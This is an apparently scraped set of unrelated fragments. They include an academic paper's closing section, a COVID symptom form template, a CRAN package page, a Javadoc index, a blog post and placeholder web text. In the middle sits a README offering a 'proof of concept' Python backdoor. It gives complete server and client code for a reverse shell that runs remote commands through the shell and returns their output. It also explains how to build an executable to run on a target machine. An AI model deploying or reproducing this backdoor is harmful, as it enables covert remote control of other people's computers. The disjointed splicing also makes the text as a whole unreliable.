Our proposal, however, is surprisingly effective. Because we have barely modified a general RNN architecture, we expect that our results will generalize relatively well either to the second phase of the challenge or even to other disciplines. We would emphasize, however, that the quality of the dataset has a great deal of room for improvement. Given how important this task is for the whole of science, we should try to strive to improve the quality of these datasets so that techniques like this one can be more broadly applied. The importance of dataset mention and linkage therefore could be fully appreciated by the community.
Acknowledgements {#acknowledgements .unnumbered .unnumbered}¶
Tong Zeng was funded by the China Scholarship Council #201706190067. Daniel E. Acuna was funded by the National Science Foundation awards #1646763 and #1800956.
\bibliographystyle{apalike}
[^1]: Corresponding author: deacuna@syr.edu


Hover check
A simple tool to help provide a sense of how long a hover interaction should be before it's considered significant.
Use the slider to set the time in milliseconds. Hovering over the H button for longer than this time results in a significant hover.
Tweak the slider to find the interaction you need, then just copy the timeout value to use in your animations or scripts.


Dashboard
What Problems are you having today ?
Breathing Problem
Fever
Dry Cough
Sore throat
Running Nose
Asthma
Chronic Lung Disease
Headache
Heart Disease
Diabetes
Hyper Tension
Fatigue
Gastrointestinal
Abroad travel
Contact with COVID Patient
Attended Large Gathering
Visited Public Exposed Places
Family working in Public Exposed Places
Wearing Masks
Sanitization from Market
Possibility of having an infection : {{inf}}%


Select transport for connection to the process. Available options are socket and shared memory, which is available for Windows systems only.


Title:
{{ entries.title }}Date:
{{ entries.date }}Time Spent:
{{ entries.time_spent }}What I Learned:
{{ entries.learned }}Resources to Remember:
{{ entries.resources }}Tags:
{% for tag in tags %} {{ tag.tag_name }} {% endfor %}Edit Post
Delete Post


Proof of Concept Python Backdoor
goatse
a proof of concept backdoor for the most bare-bone access
Usage
Run the server.py on your computer to start listening for callbacks.
$ sudo chmod 775 server.py
$ ./server.py
3 ways you can start goatse to target computer
- run as python script
$ sudo chmod 775 goatse.py $ ./goatse.py
- create an exe file using pyinstaller, exe file is located in dist folder
$ pyinstaller --onefile goatse.py
How does it work?
server.py
#!/usr/bin/env python3
#import socket API module
import socket
# for LAN you can use your pc's ip.
# for WAN you need to setup your own server in aws or digital ocean get the IP of said server and you can just ssh to that machine and run this script. other option is to use your own ISP public ip address and port forward to your pc's ip address.
serverIp = '<IP_ADDRESS>'
serverPort = 8080
server = socket.socket()
server.bind((serverIp, serverPort))
print('Server is online')
print('Listening for callback')
#listening for callback
server.listen(1)
target, target_addr = server.accept()
#will display once callback is initiated
print(f'[+] {target_addr} She spreads the legs, it is time')
goatse.py
#!/usr/bin/env python3
#import socket and subprocess modules, subprocess module allows us to run commands on our target machine.
import subprocess
import socket
#don't forget to set the correct server ip address and port in order for this to callback home.
serverIp = '<IP_ADDRESS>'
serverPort = 8080
backdoor = socket.socket()
backdoor.connect((serverIp, serverPort))
while True:
#after successfull callback to home, goatse will start to listen for commands from server
anal = backdoor.recv(1024)
#this decodes the user command from sent from server
anal = anal.decode()
UserInput = subprocess.Popen(anal, shell = True, stderr = subprocess.PIPE, stdout = subprocess.PIPE)
#then executes command and read the output/error
output = UserInput.stdout.read()
output_error = UserInput.stderr.read()
backdoor.send(output + output_error)
License
BSD 3-Clause “New” or “Revised” License
Resources:
Happy Coding.


If a procedure consists of several stages and there are several scenarios that can be selected for each stage, uncertainty of the procedure can be decomposed by stages or scenarios. cum_uncertainty() is used to decompose uncertainty based on the cumulative uncertainty. stage_uncertainty() and scenario_uncertainty() is used to decompose uncertainty based on the second order interaction ANOVA model. In stage_uncertainty() and scenario_uncertainty(), the uncertainty from interaction effect from two stages is distributed equally to each stage.
| Version: | 0.0.4 |
| Depends: | R (≥ 3.3.2) |
| Published: | 2018-11-15 |
| Author: | Seonghyeon Kim [aut, cre], Yongdai Kim [aut], Ilsang Ohn [aut] |
| Maintainer: | Seonghyeon Kim <shkim93 at snu.ac.kr> |
| License: | GPL-2 |
| NeedsCompilation: | no |
| CRAN checks: | UncDecomp results |
| Reference manual: | UncDecomp.pdf |
| Package source: | UncDecomp_0.0.4.tar.gz |
| Windows binaries: | r-devel: UncDecomp_0.0.4.zip, r-release: UncDecomp_0.0.4.zip, r-oldrel: UncDecomp_0.0.4.zip |
| OS X binaries: | r-release: UncDecomp_0.0.4.tgz, r-oldrel: UncDecomp_0.0.4.tgz |
Please use the canonical form https://CRAN.R-project.org/package=UncDecomp to link to this page.


Coordinate reference system (CRS)
CRS used: {{ projection }}
{% if projection != "EPSG:4326" %}
We expected: EPSG:4326 (WGS84)
If your map doesn't load properly, please look into changing the coordinate reference system.
It is important you use GPS coordinates (degrees), and not metres or other units in your dataset.
{% endif %}
Review sample
The map below shows one of the MTUs. If this does not seem to be correct, please review your geojson file.


The comma separated value file format is one that can be easily edited in a standard text editor or
a csv-aware spreadsheet application, and can be easily parsed. Text strings can contain commas, but only if
the strings are enclosed in quotes. Each entry in the file is a separate line, and each field, including empty
fields, is separated by a comma from its neighbor. The specific format used in this case consists of a title
line for readability, a blank line, and a series of lines containing event definitions. A portion of such a
file (for Pentium 4) is shown below:
name,derived,postfix,short_descr,long_descr,note,[native,...]
PAPI_L1_ICM,NOT_DERIVED,,"L1I cache misses","Level 1 instruction cache misses",,BPU_fetch_request_TCMISS
PAPI_L2_TCM,NOT_DERIVED,,"L2 cache misses","Level 2 cache misses",,BSQ_cache_reference_RD_2ndL_MISS_WR_2ndL_MISS
PAPI_TLB_DM,NOT_DERIVED,,"Data TLB misses","Data translation lookaside buffer misses",,page_walk_type_DTMISS
MY_PAPI_TLB_DM,NOT_DERIVED,,"Data TLB misses","Data translation lookaside buffer misses","This is a note for my event",page_walk_type_DTMISS


- finalizeTrainingData() - Method in class bartMachine.Classifier
-
- findInteractions(HashSet<UnorderedPair<Integer>>) - Method in class bartMachine.bartMachineTreeNode
-
A wrapper to find all interactions recursively by checking all splits underneath this node
- FindMaxIndex(int[]) - Static method in class bartMachine.StatToolbox
-
Given an array, return the index of the maximum value
- findPrunableAndChangeableNodes(bartMachineTreeNode, ArrayList<bartMachineTreeNode>) - Static method in class bartMachine.bartMachineTreeNode
-
Find a list of prunable and changeable nodes (ie singly internal nodes)
from a node and below using recursion
- findSplitAttributesUsedUnderneath(int, HashSet<UnorderedPair<Integer>>) - Method in class bartMachine.bartMachineTreeNode
-
Finds interactions recursively for one node's attribute by checking all splits underneath this node
- findTerminalNodesDataAboveOrEqualToN(bartMachineTreeNode, ArrayList<bartMachineTreeNode>, int) - Static method in class bartMachine.bartMachineTreeNode
-
Search the tree recursively below a node for terminal nodes that have more than n_rule
data records
- first - Variable in class OpenSourceExtensions.UnorderedPair
-
- fixed_sigsq - Variable in class bartMachine.bartMachine_d_init
-
during debugging, we may want to fix sigsq
- FlushData() - Method in class bartMachine.bartMachine_a_base
-
Remove unnecessary data from the Gibbs chain to conserve RAM
- FlushData() - Method in class bartMachine.bartMachineRegressionMultThread
-
Flush all unnecessary data from the Gibbs chains to conserve RAM
- FlushData() - Method in class bartMachine.Classifier
-
deletes all data that's unneeded at this point in runtime in order to save memory
- FlushDataForSample(bartMachineTreeNode[]) - Method in class bartMachine.bartMachine_a_base
-
Remove unnecessary data from an individual Gibbs sample
- flushNodeData() - Method in class bartMachine.bartMachineTreeNode
-
Remove all the data in this node and its children recursively to save memory
- font_family - Static variable in class bartMachine.TreeIllustration
-
- font_size - Static variable in class bartMachine.TreeIllustration
-


---
layout: post
title: What Camp Are You In?
date: '2011-01-07T15:30:00.001-06:00'
author: Jabell
tags:
- Affections
- Christian Living
modified_time: '2011-01-07T15:30:47.835-06:00'
blogger_id: tag:blogger.com,1999:blog-19739956.post-1776323425876595964
blogger_orig_url: http://theabellsix.blogspot.com/2011/01/what-camp-are-you-in.html
---
There are activities that seem to fall into a few different camps. The camps are Love to Do, Hate to Do, Good At, and Bad At. Any activity can have the following permutations...
1. Love to Do and Good At
2. Love to Do and Bad At
3. Hate to Do and Good At
4. Hate to Do and Bad At
Camps one and four tend to take care of themselves. Sometimes people are stuck in camp three and need to figure out a way not to be there.
But what about camp two? How much effort should we put into those activities that fall into camp two? If we love to sing, but can’t sing, should we do it? If we love to run or write or fish or swim or study or whatever, but really stink at it, should we continue to put energy into it for the sake of our joy, or should we bag it and find things that only fall into camp one?


Garment Making
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.
Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
KViK’s mission is to provide vocational training in trades which are in demand. It aims to extend its reach to towns and villages where large number of young people desirous of making a decent living needs to be skilled to secure employment in the industry and commerce.
Read MoreKViK’s vision is to impart training and bridge the gap between demand and supply for skilled Human Resource in the emerging industries.
Read More